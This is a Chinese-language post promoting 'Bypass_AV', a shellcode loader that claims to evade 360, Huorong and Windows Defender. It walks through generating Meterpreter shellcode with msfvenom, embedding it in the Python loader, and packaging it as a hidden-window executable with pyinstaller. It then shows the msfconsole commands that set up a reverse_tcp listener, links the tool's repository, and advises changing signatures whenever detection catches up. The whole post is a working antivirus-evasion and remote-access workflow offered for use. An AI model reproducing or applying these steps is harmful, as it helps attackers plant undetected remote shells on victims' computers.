免殺工具 -- Bypass_AV?【文末抽獎】

一、工具簡介

Bypass_AV msf免殺，ShellCode免殺加載器 ，免殺shellcode執行程序 ，360&火絨&Windows Defender。代碼夠簡單，估計要不了多久就進特征庫了，被殺了再去改幾個特征碼照樣又可以免殺，保持更新。

二、使用方法

1、環境

2022年5月8日 測試可以免殺國內殺軟 火絨&360及Windows Defender

Windows 10 64位 360&火絨&Windows Defender

Windows 7 64位 或以上操作系統應該都沒問題（沒有測試）

2、使用msfvenom生成ShellCode(ShellCode 需要是64位的)

3、加載器

將生成的ShellCode 填至 Bypass_AV.py 里的 ShellCode = '''ShellCode''' 處，注意：保留原始ShellCode 里的雙引號 "

4、打包成可執行程序

Python 3.8.6

pyinstaller 4.7

pip install pyinstaller 

pyinstaller -F -w Bypss_AV.py

生成Bypass_AV.exe在dist目錄中

5、運行監聽

msfconsole
msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
msf6 exploit(multi/handler) > ru

三、檢測效果

四、工具下載

項目地址：https://github.com/Axx8/Bypass_AV